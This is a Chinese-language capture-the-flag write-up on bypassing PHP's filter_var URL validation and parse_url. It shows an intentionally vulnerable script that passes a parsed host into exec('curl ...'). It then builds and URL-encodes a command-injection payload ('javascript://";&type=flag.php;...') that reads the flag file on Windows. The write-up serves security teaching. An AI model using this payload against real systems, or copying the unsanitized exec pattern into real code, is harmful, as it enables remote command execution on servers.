基础知识
filter_var函数缺陷(原理+实践)
源代码
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}
?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
代码分析
首先通过GET方式获取了参数url,然后先通过了filter_var($url, FILTER_VALIDATE_URL)函数判断是否为合法url,然后通过了parse_url($url)函数提取了参数site_info['host'],然后通过正则表达式判断site_info['host']中字符串的最后是否含有sec-redclub.com子字符串,若这些都通过了,那么就执行exec('curl "'.$site_info['host'].'"', $result);
parse_url
PHP: parse_url
解题思路
首先要对filter_var函数进行绕过
绕过思路
?url=http://anything
然后要对正则表达式进行绕过,只需要在url的最后添加sec-redclub.com即可
?url=http://anything@sec-redclub.com
然后要对exec('curl "'.$site_info['host'].'"', $result);进行拼接,要让后台执行我们想要执行的恶意函数,因为我的环境是搭建在Windows下面的,所以大概需要type,dir还有管道符等知识
Windows和Linux上的管道符
那么我们构造payload
exec('curl "'.$site_info['host'].'"', $result)
exec('curl "";&type=flag.php;&"sec-redclub.com"', $result)
其中红色部分就是我们需要传给$site_info['host']的内容
下面写一个小demo来模拟一下过滤的基本逻辑
<?php
$url = 'javascript://";&type=flag.php;&&"sec-redclub.com';
//这里是我们构造的payload
var_dump($url);
echo '<br>';
$url = filter_var($url, FILTER_VALIDATE_URL);
var_dump($url);
echo '<br>';
$site_info = parse_url($url);
var_dump($site_info['host']);
echo '<br>';
if(preg_match('/sec-redclub.com$/',$site_info['host']))
{echo "ok";}
?>
发现红框的内容就是我们想要的内容,因为是request传入的参数,所以我们把payload中的符号urlencode一下就可以了
?url=javascript://%22;%26type=flag.php;%26%26%22sec-redclub.com
(因为是白盒测试,dir步骤就省略了)
题目来源 :红日团队
|